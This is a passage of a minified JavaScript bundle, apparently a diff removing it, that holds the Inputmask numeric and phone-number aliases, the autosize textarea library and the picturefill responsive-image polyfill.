a.negationSymbol.back)(l = e.inArray("?", f)) > -1 ? f[l] = d : l = r.caret || 0; - else if (d === a.radixPoint || d === a.negationSymbol.front || d === a.negationSymbol.back) { - var v = e.inArray(d, f); - 1 !== v && (l = v) - } - a.numericInput && (l = f.length - l - 1, f = f.reverse()); - var _ = { - caret: d === i || r.pos !== i ? l + (a.numericInput ? -1 : 1) : l, - buffer: f, - refreshFromBuffer: r.dopost || n.join("") !== f.join("") - }; - return _.refreshFromBuffer ? _ : r - }, - onBeforeWrite: function (n, r, a, s) { - if (n) switch (n.type) { - case "keydown": - return s.postValidation(r, { - caret: a, - dopost: !0 - }, s); - case "blur": - case "checkval": - var o; - if (function (e) { - e.parseMinMaxOptions === i && (null !== e.min && (e.min = e.min.toString().replace(new RegExp(t.escapeRegex(e.groupSeparator), "g"), ""), "," === e.radixPoint && (e.min = e.min.replace(e.radixPoint, ".")), e.min = isFinite(e.min) ? parseFloat(e.min) : NaN, isNaN(e.min) && (e.min = Number.MIN_VALUE)), null !== e.max && (e.max = e.max.toString().replace(new RegExp(t.escapeRegex(e.groupSeparator), "g"), ""), "," === e.radixPoint && (e.max = e.max.replace(e.radixPoint, ".")), e.max = isFinite(e.max) ? parseFloat(e.max) : NaN, isNaN(e.max) && (e.max = Number.MAX_VALUE)), e.parseMinMaxOptions = "done") - }(s), null !== s.min || null !== s.max) { - if (o = s.onUnMask(r.join(""), i, e.extend({}, s, { - unmaskAsNumber: !0 - })), null !== s.min && o < s.min) return s.isNegative = s.min < 0, s.postValidation(s.min.toString().replace(".", s.radixPoint).split(""), { - caret: a, - dopost: !0, - placeholder: "0" - }, s); - if (null !== s.max && o > s.max) return s.isNegative = s.max < 0, s.postValidation(s.max.toString().replace(".", s.radixPoint).split(""), { - caret: a, - dopost: !0, - placeholder: "0" - }, s) - } - return s.postValidation(r, { - caret: a, - placeholder: "0", - event: "blur" - }, s); - case "_checkval": - return { - caret: a - } - } - }, - regex: { - integerPart: function (e, i) { - return i ? new RegExp("[" + t.escapeRegex(e.negationSymbol.front) + "+]?") : new RegExp("[" + t.escapeRegex(e.negationSymbol.front) + "+]?\\d+") - }, - integerNPart: function (e) { - return new RegExp("[\\d" + t.escapeRegex(e.groupSeparator) + t.escapeRegex(e.placeholder.charAt(0)) + "]+") - } - }, - definitions: { - "~": { - validator: function (e, n, r, a, s, o) { - var l = a ? new RegExp("[0-9" + t.escapeRegex(s.groupSeparator) + "]").test(e) : new RegExp("[0-9]").test(e); - if (!0 === l) { - if (!0 !== s.numericInput && n.validPositions[r] !== i && "~" === n.validPositions[r].match.def && !o) { - var u = n.buffer.join(""), - d = (u = (u = u.replace(new RegExp("[-" + t.escapeRegex(s.negationSymbol.front) + "]", "g"), "")).replace(new RegExp(t.escapeRegex(s.negationSymbol.back) + "$"), "")).split(s.radixPoint); - d.length > 1 && (d[1] = d[1].replace(/0/g, s.placeholder.charAt(0))), "0" === d[0] && (d[0] = d[0].replace(/0/g, s.placeholder.charAt(0))), u = d[0] + s.radixPoint + d[1] || ""; - var f = n._buffer.join(""); - for (u === s.radixPoint && (u = f); null === u.match(t.escapeRegex(f) + "$");) f = f.slice(1); - l = (u = (u = u.replace(f, "")).split(""))[r] === i ? { - pos: r, - remove: r - } : { - pos: r - } - } - } else a || e !== s.radixPoint || n.validPositions[r - 1] !== i || (n.buffer[r] = "0", l = { - pos: r + 1 - }); - return l - }, - cardinality: 1 - }, - "+": { - validator: function (e, t, i, n, r) { - return r.allowMinus && ("-" === e || e === r.negationSymbol.front) - }, - cardinality: 1, - placeholder: "" - }, - "-": { - validator: function (e, t, i, n, r) { - return r.allowMinus && e === r.negationSymbol.back - }, - cardinality: 1, - placeholder: "" - }, - ":": { - validator: function (e, i, n, r, a) { - var s = "[" + t.escapeRegex(a.radixPoint) + "]", - o = new RegExp(s).test(e); - return o && i.validPositions[n] && i.validPositions[n].match.placeholder === a.radixPoint && (o = { - caret: n + 1 - }), o - }, - cardinality: 1, - placeholder: function (e) { - return e.radixPoint - } - } - }, - onUnMask: function (e, i, n) { - if ("" === i && !0 === n.nullable) return i; - var r = e.replace(n.prefix, ""); - return r = r.replace(n.suffix, ""), r = r.replace(new RegExp(t.escapeRegex(n.groupSeparator), "g"), ""), "" !== n.placeholder.charAt(0) && (r = r.replace(new RegExp(n.placeholder.charAt(0), "g"), "0")), n.unmaskAsNumber ? ("" !== n.radixPoint && -1 !== r.indexOf(n.radixPoint) && (r = r.replace(t.escapeRegex.call(this, n.radixPoint), ".")), r = r.replace(new RegExp("^" + t.escapeRegex(n.negationSymbol.front)), "-"), r = r.replace(new RegExp(t.escapeRegex(n.negationSymbol.back) + "$"), ""), Number(r)) : r - }, - isComplete: function (e, i) { - var n = e.join(""); - if (e.slice().join("") !== n) return !1; - var r = n.replace(i.prefix, ""); - return r = r.replace(i.suffix, ""), r = r.replace(new RegExp(t.escapeRegex(i.groupSeparator), "g"), ""), "," === i.radixPoint && (r = r.replace(t.escapeRegex(i.radixPoint), ".")), isFinite(r) - }, - onBeforeMask: function (e, n) { - if (n.isNegative = i, e = e.toString().charAt(e.length - 1) === n.radixPoint ? e.toString().substr(0, e.length - 1) : e.toString(), "" !== n.radixPoint && isFinite(e)) { - var r = e.split("."), - a = "" !== n.groupSeparator ? parseInt(n.groupSize) : 0; - 2 === r.length && (r[0].length > a || r[1].length > a || r[0].length <= a && r[1].length < a) && (e = e.replace(".", n.radixPoint)) - } - var s = e.match(/,/g), - o = e.match(/\./g); - if (e = o && s ? o.length > s.length ? (e = e.replace(/\./g, "")).replace(",", n.radixPoint) : s.length > o.length ? (e = e.replace(/,/g, "")).replace(".", n.radixPoint) : e.indexOf(".") < e.indexOf(",") ? e.replace(/\./g, "") : e.replace(/,/g, "") : e.replace(new RegExp(t.escapeRegex(n.groupSeparator), "g"), ""), 0 === n.digits && (-1 !== e.indexOf(".") ? e = e.substring(0, e.indexOf(".")) : -1 !== e.indexOf(",") && (e = e.substring(0, e.indexOf(",")))), "" !== n.radixPoint && isFinite(n.digits) && -1 !== e.indexOf(n.radixPoint)) { - var l = e.split(n.radixPoint)[1].match(new RegExp("\\d*"))[0]; - if (parseInt(n.digits) < l.toString().length) { - var u = Math.pow(10, parseInt(n.digits)); - e = e.replace(t.escapeRegex(n.radixPoint), "."), e = (e = Math.round(parseFloat(e) * u) / u).toString().replace(".", n.radixPoint) - } - } - return e - }, - canClearPosition: function (e, t, i, n, r) { - var a = e.validPositions[t], - s = a.input !== r.radixPoint || null !== e.validPositions[t].match.fn && !1 === r.decimalProtect || a.input === r.radixPoint && e.validPositions[t + 1] && null === e.validPositions[t + 1].match.fn || isFinite(a.input) || t === i || a.input === r.groupSeparator || a.input === r.negationSymbol.front || a.input === r.negationSymbol.back; - return !s || "+" !== a.match.nativeDef && "-" !== a.match.nativeDef || (r.isNegative = !1), s - }, - onKeyDown: function (i, n, r, a) { - var s = e(this); - if (i.ctrlKey) switch (i.keyCode) { - case t.keyCode.UP: - s.val(parseFloat(this.inputmask.unmaskedvalue()) + parseInt(a.step)), s.trigger("setvalue"); - break; - case t.keyCode.DOWN: - s.val(parseFloat(this.inputmask.unmaskedvalue()) - parseInt(a.step)), s.trigger("setvalue") - } - } - }, - currency: { - prefix: "$ ", - groupSeparator: ",", - alias: "numeric", - placeholder: "0", - autoGroup: !0, - digits: 2, - digitsOptional: !1, - clearMaskOnLostFocus: !1 - }, - decimal: { - alias: "numeric" - }, - integer: { - alias: "numeric", - digits: 0, - radixPoint: "" - }, - percentage: { - alias: "numeric", - digits: 2, - digitsOptional: !0, - radixPoint: ".", - placeholder: "0", - autoGroup: !1, - min: 0, - max: 100, - suffix: " %", - allowMinus: !1 - } - }), t - }) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) - }(function (e, t) { - function i(e, t) { - var i = (e.mask || e).replace(/#/g, "9").replace(/\)/, "9").replace(/[+()#-]/g, ""), - n = (t.mask || t).replace(/#/g, "9").replace(/\)/, "9").replace(/[+()#-]/g, ""), - r = (e.mask || e).split("#")[0], - a = (t.mask || t).split("#")[0]; - return 0 === a.indexOf(r) ? -1 : 0 === r.indexOf(a) ? 1 : i.localeCompare(n) - } - var n = t.prototype.analyseMask; - return t.prototype.analyseMask = function (t, i, r) { - function a(e, i, n) { - i = i || "", n = n || o, "" !== i && (n[i] = {}); - for (var r = "", s = n[i] || n, l = e.length - 1; l >= 0; l--) s[r = (t = e[l].mask || e[l]).substr(0, 1)] = s[r] || [], s[r].unshift(t.substr(1)), e.splice(l, 1); - for (var u in s) s[u].length > 500 && a(s[u].slice(), u, s) - } - - function s(t) { - var i = "", - n = []; - for (var a in t) e.isArray(t[a]) ? 1 === t[a].length ? n.push(a + t[a]) : n.push(a + r.groupmarker.start + t[a].join(r.groupmarker.end + r.alternatormarker + r.groupmarker.start) + r.groupmarker.end) : n.push(a + s(t[a])); - return 1 === n.length ? i += n[0] : i += r.groupmarker.start + n.join(r.groupmarker.end + r.alternatormarker + r.groupmarker.start) + r.groupmarker.end, i - } - var o = {}; - return r.phoneCodes && (r.phoneCodes && r.phoneCodes.length > 1e3 && (a((t = t.substr(1, t.length - 2)).split(r.groupmarker.end + r.alternatormarker + r.groupmarker.start)), t = s(o)), t = t.replace(/9/g, "\\9")), n.call(this, t, i, r) - }, t.extendAliases({ - abstractphone: { - groupmarker: { - start: "<", - end: ">" - }, - countrycode: "", - phoneCodes: [], - mask: function (e) { - return e.definitions = { - "#": t.prototype.definitions[9] - }, e.phoneCodes.sort(i) - }, - keepStatic: !0, - onBeforeMask: function (e, t) { - var i = e.replace(/^0{1,2}/, "").replace(/[\s]/g, ""); - return (i.indexOf(t.countrycode) > 1 || -1 === i.indexOf(t.countrycode)) && (i = "+" + t.countrycode + i), i - }, - onUnMask: function (e, t, i) { - return e.replace(/[()#-]/g, "") - }, - inputmode: "tel" - } - }), t - }) -}, function (e, t, i) { - var n, r, a; - (function (i, s) { - if (true) { - !(r = [e, t], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) - } else if (typeof t !== "undefined") { - s(e, t) - } else { - var o = { - exports: {} - }; - s(o, o.exports); - i.autosize = o.exports - } - })(this, function (e, t) { - "use strict"; - var i = typeof Map === "function" ? new Map : function () { - var e = []; - var t = []; - return { - has: function t(i) { - return e.indexOf(i) > -1 - }, - get: function i(n) { - return t[e.indexOf(n)] - }, - set: function i(n, r) { - if (e.indexOf(n) === -1) { - e.push(n); - t.push(r) - } - }, - delete: function i(n) { - var r = e.indexOf(n); - if (r > -1) { - e.splice(r, 1); - t.splice(r, 1) - } - } - } - }(); - var n = function e(t) { - return new Event(t, { - bubbles: true - }) - }; - try { - new Event("test") - } catch (e) { - n = function e(t) { - var i = document.createEvent("Event"); - i.initEvent(t, true, false); - return i - } - } - - function r(e) { - if (!e || !e.nodeName || e.nodeName !== "TEXTAREA" || i.has(e)) return; - var t = null; - var r = null; - var a = null; - - function s() { - var i = window.getComputedStyle(e, null); - if (i.resize === "vertical") { - e.style.resize = "none" - } else if (i.resize === "both") { - e.style.resize = "horizontal" - } - if (i.boxSizing === "content-box") { - t = -(parseFloat(i.paddingTop) + parseFloat(i.paddingBottom)) - } else { - t = parseFloat(i.borderTopWidth) + parseFloat(i.borderBottomWidth) - } - if (isNaN(t)) { - t = 0 - } - d() - } - - function o(t) { - { - var i = e.style.width; - e.style.width = "0px"; - e.offsetWidth; - e.style.width = i - } - e.style.overflowY = t - } - - function l(e) { - var t = []; - while (e && e.parentNode && e.parentNode instanceof Element) { - if (e.parentNode.scrollTop) { - t.push({ - node: e.parentNode, - scrollTop: e.parentNode.scrollTop - }) - } - e = e.parentNode - } - return t - } - - function u() { - if (e.scrollHeight === 0) { - return - } - var i = l(e); - var n = document.documentElement && document.documentElement.scrollTop; - e.style.height = ""; - e.style.height = e.scrollHeight + t + "px"; - r = e.clientWidth; - i.forEach(function (e) { - e.node.scrollTop = e.scrollTop - }); - if (n) { - document.documentElement.scrollTop = n - } - } - - function d() { - u(); - var t = Math.round(parseFloat(e.style.height)); - var i = window.getComputedStyle(e, null); - var r = i.boxSizing === "content-box" ? Math.round(parseFloat(i.height)) : e.offsetHeight; - if (r < t) { - if (i.overflowY === "hidden") { - o("scroll"); - u(); - r = i.boxSizing === "content-box" ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight - } - } else { - if (i.overflowY !== "hidden") { - o("hidden"); - u(); - r = i.boxSizing === "content-box" ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight - } - } - if (a !== r) { - a = r; - var s = n("autosize:resized"); - try { - e.dispatchEvent(s) - } catch (e) {} - } - } - var f = function t() { - if (e.clientWidth !== r) { - d() - } - }; - var c = function (t) { - window.removeEventListener("resize", f, false); - e.removeEventListener("input", d, false); - e.removeEventListener("keyup", d, false); - e.removeEventListener("autosize:destroy", c, false); - e.removeEventListener("autosize:update", d, false); - Object.keys(t).forEach(function (i) { - e.style[i] = t[i] - }); - i.delete(e) - }.bind(e, { - height: e.style.height, - resize: e.style.resize, - overflowY: e.style.overflowY, - overflowX: e.style.overflowX, - wordWrap: e.style.wordWrap - }); - e.addEventListener("autosize:destroy", c, false); - if ("onpropertychange" in e && "oninput" in e) { - e.addEventListener("keyup", d, false) - } - window.addEventListener("resize", f, false); - e.addEventListener("input", d, false); - e.addEventListener("autosize:update", d, false); - e.style.overflowX = "hidden"; - e.style.wordWrap = "break-word"; - i.set(e, { - destroy: c, - update: d - }); - s() - } - - function a(e) { - var t = i.get(e); - if (t) { - t.destroy() - } - } - - function s(e) { - var t = i.get(e); - if (t) { - t.update() - } - } - var o = null; - if (typeof window === "undefined" || typeof window.getComputedStyle !== "function") { - o = function e(t) { - return t - }; - o.destroy = function (e) { - return e - }; - o.update = function (e) { - return e - } - } else { - o = function e(t, i) { - if (t) { - Array.prototype.forEach.call(t.length ? t : [t], function (e) { - return r(e, i) - }) - } - return t - }; - o.destroy = function (e) { - if (e) { - Array.prototype.forEach.call(e.length ? e : [e], a) - } - return e - }; - o.update = function (e) { - if (e) { - Array.prototype.forEach.call(e.length ? e : [e], s) - } - return e - } - } - t.default = o; - e.exports = t["default"] - }) -}, function (e, t, i) { - var n; - (function (e) { - var t = navigator.userAgent; - if (e.HTMLPictureElement && (/ecko/.test(t) && t.match(/rv\:(\d+)/) && RegExp.$1 < 45)) { - addEventListener("resize", function () { - var t; - var i = document.createElement("source"); - var n = function (e) { - var t, n; - var r = e.parentNode; - if (r.nodeName.toUpperCase() === "PICTURE") { - t = i.cloneNode(); - r.insertBefore(t, r.firstElementChild); - setTimeout(function () { - r.removeChild(t) - }) - } else if (!e._pfLastSize || e.offsetWidth > e._pfLastSize) { - e._pfLastSize = e.offsetWidth; - n = e.sizes; - e.sizes += ",100vw"; - setTimeout(function () { - e.sizes = n - }) - } - }; - var r = function () { - var e; - var t = document.querySelectorAll("picture > img, img[srcset][sizes]"); - for (e = 0; e < t.length; e++) { - n(t[e]) - } - }; - var a = function () { - clearTimeout(t); - t = setTimeout(r, 99) - }; - var s = e.matchMedia && matchMedia("(orientation: landscape)"); - var o = function () { - a(); - if (s && s.addListener) { - s.addListener(a) - } - }; - i.srcset = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; - if (/^[c|i]|d$/.test(document.readyState || "")) { - o() - } else { - document.addEventListener("DOMContentLoaded", o) - } - return a - }()) - } - })(window); - (function (r, a, s) { - "use strict"; - a.createElement("picture"); - var o, l, u, d; - var f = {}; - var c = false; - var h = function () {}; - var m = a.createElement("img"); - var p = m.getAttribute; - var v = m.setAttribute; - var _ = m.removeAttribute; - var g = a.documentElement; - var y = {}; - var b = { - algorithm: "" - }; - var w = "data-pfsrc"; - var M = w + "set"; - var k = navigator.userAgent; - var L = /rident/.test(k) || /ecko/.test(k) && k.match(/rv\:(\d+)/) && RegExp.$1 > 35; - var T = "currentSrc"; - var x = /\s+\+?\d+(e\d+)?w/; - var S = /(\([^)]+\))?\s*(.+)/; - var Y = r.picturefillCFG; - var D = "position:absolute;left:0;visibility:hidden;display:block;padding:0;border:none;font-size:1em;width:1em;overflow:hidden;clip:rect(0px, 0px, 0px, 0px)"; - var E = "font-size:100%!important;"; - var C = true; - var P = {}; - var A = {}; - var O = r.devicePixelRatio; - var j = { - px: 1, - in: 96 - }; - var H = a.createElement("a"); - var I = false; - var F = /^[ \t\n\r\u000c]+/, - z = /^[, \t\n\r\u000c]+/, - R = /^[^ \t\n\r\u000c]+/, - N = /[,]+$/, - W = /^\d+$/, - B = /^-?(?:[0-9]+|[0-9]*\.[0-9]+)(?:[eE][+-]?[0-9]+)?$/; - var q = function (e, t, i, n) { - if (e.addEventListener) { - e.addEventListener(t, i, n || false) - } else if (e.attachEvent) { - e.attachEvent("on" + t, i) - } - }; - var $ = function (e) { - var t = {}; - return function (i) { - if (!(i in t)) { - t[i] = e(i) - } - return t[i] - } - }; - - function V(e) { - return e === " " || e === "\t" || e === "\n" || e === "\f" || e === "\r" - } - var G = function () { - var e = /^([\d\.]+)(em|vw|px)$/; - var t = function () { - var e = arguments, - t = 0, - i = e[0]; - while (++t in e) { - i = i.replace(e[t], e[++t]) - } - return i - }; - var i = $(function (e) { - return "return " + t((e || "").toLowerCase(), /\band\b/g, "&&", /,/g, "||", /min-([a-z-\s]+):/g, "e.$1>=", /max-([a-z-\s]+):/g, "e.$1<=", /calc([^)]+)/g, "($1)", /(\d+[\.]*[\d]*)([a-z]+)/g, "($1 * e.$2)", /^(?!(e.[a-z]|[0-9\.&=|><\+\-\*\(\)\/])).*/gi, "") + ";" - }); - return function (t, n) { - var r; - if (!(t in P)) { - P[t] = false; - if (n && (r = t.match(e))) { - P[t] = r[1] * j[r[2]] - } else { - try { - P[t] = new Function("e", i(t))(j) - } catch (e) {} - } - } - return P[t] - } - }(); - var U = function (e, t) { - if (e.w) { - e.cWidth = f.calcListLength(t || "100vw"); - e.res = e.w / e.cWidth - } else { - e.res = e.d - } - return e - }; - var X = function (e) { - if (!c) { - return - } - var t, i, n; - var r = e || {}; - if (r.elements && r.elements.nodeType === 1) { - if (r.elements.nodeName.toUpperCase() === "IMG") { - r.elements = [r.elements] - } else { - r.context = r.elements; - r.elements = null - } - } - t = r.elements || f.qsa(r.context || a, r.reevaluate || r.reselect ? f.sel : f.selShort); - if (n = t.length) { - f.setupRun(r); - I = true; - for (i = 0; i < n; i++) { - f.fillImg(t[i], r) - } - f.teardownRun(r) - } - }; - o = r.console && console.warn ? function (e) { - console.warn(e) - } : h; - if (!(T in m)) { - T = "src" - } - y["image/jpeg"] = true; - y["image/gif"] = true; - y["image/png"] = true; - - function J(e, t) { - var i = new r.Image; - i.onerror = function () { - y[e] = false; - X() - }; - i.onload = function () { - y[e] = i.width === 1; - X() - }; - i.src = t; - return "pending" - } - y["image/svg+xml"] = a.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image", "1.1"); - - function K() { - C = false; - O = r.devicePixelRatio; - P = {}; - A = {}; - f.DPR = O || 1; - j.width = Math.max(r.innerWidth || 0, g.clientWidth); - j.height = Math.max(r.innerHeight || 0, g.clientHeight); - j.vw = j.width / 100; - j.vh = j.height / 100; - d = [j.height, j.width, O].join("-"); - j.em = f.getEmValue(); - j.rem = j.em - } - - function Q(e, t, i, n) { - var r, a, s, o; - if (b.algorithm === "saveData") { - if (e > 2.7) { - o = i + 1 - } else { - a = t - i; - r = Math.pow(e - .6, 1.5); - s = a * r; - if (n) { - s += .1 * r - } - o = e + s - } - } else { - o = i > 1 ? Math.sqrt(e * t) : e - } - return o > i - } - - function Z(e) { - var t; - var i = f.getSet(e); - var n = false; - if (i !== "pending") { - n = d; - if (i) { - t = f.setRes(i); - f.applySetCandidate(t, e) - } - } - e[f.ns].evaled = n - } - - function ee(e, t) { - return e.res - t.res - } - - function te(e, t, i) { - var n; - if (!i && t) { - i = e[f.ns].sets; - i = i && i[i.length - 1] - } - n = ie(t, i); - if (n) { - t = f.makeUrl(t); - e[f.ns].curSrc = t; - e[f.ns].curCan = n; - if (!n.res) { - U(n, n.set.sizes) - } - } - return n - } - - function ie(e, t) { - var i, n, r; - if (e && t) { - r = f.parseSet(t); - e = f.makeUrl(e); - for (i = 0; i < r.length; i++) { - if (e === f.makeUrl(r[i].url)) { - n = r[i]; - break - } - } - } - return n - } - - function ne(e, t) { - var i, n, r, a; - var s = e.getElementsByTagName("source"); - for (i = 0, n = s.length; i < n; i++) { - r = s[i]; - r[f.ns] = true; - a = r.getAttribute("srcset"); - if (a) { - t.push({ - srcset: a, - media: r.getAttribute("media"), - type: r.getAttribute("type"), - sizes: r.getAttribute("sizes") - }) - } - } - } - - function re(e, t) { - function i(t) { - var i, n = t.exec(e.substring(u)); - if (n) { - i = n[0]; - u += i.length; - return i - } - } - var n = e.length, - r, a, s, o, l, u = 0, - d = []; - - function f() { - var e = false, - i, n, s, o, l = {}, - u, f, c, h, m; - for (o = 0; o < a.length; o++) { - u = a[o]; - f = u[u.length - 1]; - c = u.substring(0, u.length - 1); - h = parseInt(c, 10); - m = parseFloat(c); - if (W.test(c) && f === "w") { - if (i || n) { - e = true - } - if (h === 0) { - e = true - } else { - i = h - } - } else if (B.test(c) && f === "x") { - if (i || n || s) { - e = true - } - if (m < 0) { - e = true - } else { - n = m - } - } else if (W.test(c) && f === "h") { - if (s || n) { - e = true - } - if (h === 0) { - e = true - } else { - s = h - } - } else { - e = true - } - } - if (!e) { - l.url = r; - if (i) { - l.w = i - } - if (n) { - l.d = n - } - if (s) { - l.h = s - } - if (!s && !n && !i) { - l.d = 1 - } - if (l.d === 1) { - t.has1x = true - } - l.set = t; - d.push(l) - } - } - - function c() { - i(F); - s = ""; - o = "in descriptor"; - while (true) { - l = e.charAt(u); - if (o === "in descriptor") { - if (V(l)) { - if (s) { - a.push(s); - s = ""; - o = "after descriptor" - } - } else if (l === ",") { - u += 1; - if (s) { - a.push(s) - } - f(); - return - } else if (l === "(") { - s = s + l; - o = "in parens" - } else if (l === "") { - if (s) { - a.push(s) - } - f(); - return - } else { - s = s + l - } - } else if (o === "in parens") { - if (l === ")") { - s = s + l; - o = "in descriptor" - } else if (l === "") { - a.push(s); - f(); - return - } else { - s = s + l - } - } else if (o === "after descriptor") { - if (V(l)) {} else if (l === "") { - f(); - return - } else { - o = "in descriptor"; - u -= 1 - } - } - u += 1 - } - } - while (true) { - i(z); - if (u >= n) { - return d - } - r = i(R); - a = []; - if (r.slice(-1) === ",") { - r = r.replace(N, ""); - f() - } else { - c() - } - } - } - - function ae(e) { - var t = /^(?:[+-]?[0-9]+|[0-9]*\.[0-9]+)(?:[eE][+-]?[0-9]+)?(?:ch|cm|em|ex|in|mm|pc|pt|px|rem|vh|vmin|vmax|vw)$/i; - var i = /^calc\((?:[0-9a-z \.\+\-\*\/\(\)]+)\)$/i; - var n; - var r; - var a; - var s; - var o; - var l; - - function u(e) { - var t; - var i = ""; - var n = []; - var r = []; - var a = 0; - var s = 0; - var o = false; - - function l() { - if (i) { - n.push(i); - i = "" - } - } - - function u() { - if (n[0]) { - r.push(n); - n = [] - } - } - while (true) { - t = e.charAt(s); - if (t === "") { - l(); - u(); - return r - } else if (o) { - if (t === "*" && e[s + 1] === "/") { - o = false; - s += 2; - l(); - continue - } else { - s += 1; - continue - } - } else if (V(t)) { - if (e.charAt(s - 1) && V(e.charAt(s - 1)) || !i) { - s += 1; - continue - } else if (a === 0) { - l(); - s += 1; - continue - } else { - t = " " - } - } else if (t === "(") { - a += 1 - } else if (t === ")") { - a -= 1 - } else if (t === ",") { - l(); - u(); - s += 1; - continue - } else if (t === "/" && e.charAt(s + 1) === "*") { - o = true; - s += 2; - continue - } - i = i + t; - s += 1 - } - } - - function d(e) { - if (t.test(e) && parseFloat(e) >= 0) { - return true - } - if (i.test(e)) { - return true - } - if (e === "0" || e === "-0" || e === "+0") { - return true - } - return false - } - r = u(e); - a = r.length; - for (n = 0; n < a; n++) { - s = r[n]; - o = s[s.length - 1]; - if (d(o)) { - l = o; - s.pop() - } else { - continue - } - if (s.length === 0) { - return l - } - s = s.join(" "); - if (!f.matchesMedia(s)) { - continue - } - return l - } - return "100vw" - } - f.ns = ("pf" + (new Date).getTime()).substr(0, 9); - f.supSrcset = "srcset" in m; - f.supSizes = "sizes" in m; - f.supPicture = !!r.HTMLPictureElement; - if (f.supSrcset && f.supPicture && !f.supSizes) { - (function (e) { - m.srcset = "data:,a"; - e.src = "data:,a"; - f.supSrcset = m.complete === e.complete; - f.supPicture = f.supSrcset && f.supPicture - })(a.createElement("img")) - } - if (f.supSrcset && !f.supSizes) { - (function () { - var e = "data:image/gif;base64,R0lGODlhAgABAPAAAP///wAAACH5BAAAAAAALAAAAAACAAEAAAICBAoAOw=="; - var t = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="; - var i = a.createElement("img"); - var n = function () { - var e = i.width; - if (e === 2) { - f.supSizes = true - } - u = f.supSrcset && !f.supSizes; - c = true; - setTimeout(X) - }; - i.onload = n; - i.onerror = n; - i.setAttribute("sizes", "9px"); - i.srcset = t + " 1w," + e + " 9w"; - i.src = t - })() - } else { - c = true - } - f.selShort = "picture>img,img[srcset]"; - f.sel = f.selShort; - f.cfg = b; - f.DPR = O || 1; - f.u = j; - f.types = y; - f.setSize = h; - f.makeUrl = $(function (e) { - H.href = e; - return H.href - }); - f.qsa = function (e, t) { - return "querySelector" in e ? e.querySelectorAll(t) : [] - }; - f.matchesMedia = function () { - if (r.matchMedia && (matchMedia("(min-width: 0.1em)") || {}).matches) { - f.matchesMedia = function (e) { - return !e || matchMedia(e).matches - } - } else { - f.matchesMedia = f.mMQ - } - return f.matchesMedia.apply(this, arguments) - }; - f.mMQ = function (e) { - return e ? G(e) : true - }; - f.calcLength = function (e) { - var t = G(e, true) || false; - if (t < 0) { - t = false - } - return t - }; - f.supportsType = function (e) { - return e ? y[e] : true - }; - f.parseSize = $(function (e) { - var t = (e || "").match(S); - return { - media: t && t[1], - length: t && t[2] - } - }); - f.parseSet = function (e) { - if (!e.cands) { - e.cands = re(e.srcset, e) - } - return e.cands - }; - f.getEmValue = function () { - var e; - if (!l && (e = a.body)) { - var t = a.createElement("div"), - i = g.style.cssText, - n = e.style.cssText; - t.style.cssText = D; - g.style.cssText = E; - e.style.cssText = E; - e.appendChild(t); - l = t.offsetWidth; - e.removeChild(t); - l = parseFloat(l, 10); - g.style.cssText = i; - e.style.cssText = n - } - return l || 16 - }; - f.calcListLength = function (e) { - if (!(e in A) || b.uT) { - var t = f.calcLength(ae(e)); - A[e] = !t ? j.width : t - } - return A[e] - }; - f.setRes = function (e) { - var t; - if (e) { - t = f.parseSet(e); - for (var i = 0, n = t.length; i < n; i++) { - U(t[i], e.sizes) - } - } - return t - }; - f.setRes.res = U; - f.applySetCandidate = function (e, t) { - if (!e.length) { - return - } - var i, n, r, a, s, o, l, u, d; - var c = t[f.ns]; - var h = f.DPR; - o = c.curSrc || t[T]; - l = c.curCan || te(t, o, e[0].set); - if (l && l.set === e[0].set) { - d = L && !t.complete && l.res - .1 > h; - if (!d) { - l.cached = true; - if (l.res >= h) { - s = l - } - } - } - if (!s) { - e.sort(ee); - a = e.length; - s = e[a - 1]; - for (n = 0; n < a; n++) { - i = e[n]; - if (i.res >= h) { - r = n - 1; - if (e[r] && (d || o !== f.makeUrl(i.url)) && Q(e[r].res, i.res, h, e[r].cached)) { - s = e[r] - } else { - s = i - } - break - } - } - } - if (s) { - u = f.makeUrl(s.url); - c.curSrc = u; - c.curCan = s; - if (u !== o) { - f.setSrc(t, s) - } - f.setSize(t) - } - }; - f.setSrc = function (e, t) { - var i; - e.src = t.url; - if (t.set.type === "image/svg+xml") { - i = e.style.width; - e.style.width = e.offsetWidth + 1 + "px"; - if (e.offsetWidth + 1) { - e.style.width = i - } - } - }; - f.getSet = function (e) { - var t, i, n; - var r = false; - var a = e[f.ns].sets; - for (t = 0; t < a.length && !r; t++) { - i = a[t]; - if (!i.srcset || !f.matchesMedia(i.media) || !(n = f.supportsType(i.type))) { - continue - } - if (n === "pending") { - i = n - } - r = i; - break - } - return r - }; - f.parseSets = function (e, t, i) { - var n, r, a, o; - var l = t && t.nodeName.toUpperCase() === "PICTURE"; - var d = e[f.ns]; - if (d.src === s || i.src) { - d.src = p.call(e, "src"); - if (d.src) { - v.call(e, w, d.src) - } else { - _.call(e, w) - } - } - if (d.srcset === s || i.srcset || !f.supSrcset || e.srcset) { - n = p.call(e, "srcset"); - d.srcset = n; - o = true - } - d.sets = []; - if (l) { - d.pic = true; - ne(t, d.sets) - } - if (d.srcset) { - r = { - srcset: d.srcset, - sizes: p.call(e, "sizes") - }; - d.sets.push(r); - a = (u || d.src) && x.test(d.srcset || ""); - if (!a && d.src && !ie(d.src, r) && !r.has1x) { - r.srcset += ", " + d.src; - r.cands.push({ - url: d.src, - d: 1, - set: r - }) - } - } else if (d.src) { - d.sets.push({ - srcset: d.src, - sizes: null - }) - } - d.curCan = null; - d.curSrc = s; - d.supported = !(l || r && !f.supSrcset || a && !f.supSizes); - if (o && f.supSrcset && !d.supported) { - if (n) { - v.call(e, M, n); - e.srcset = "" - } else { - _.call(e, M) - } - } - if (d.supported && !d.srcset && (!d.src && e.src || e.src !== f.makeUrl(d.src))) { - if (d.src === null) { - e.removeAttribute("src") - } else { - e.src = d.src - } - } - d.parsed = true - 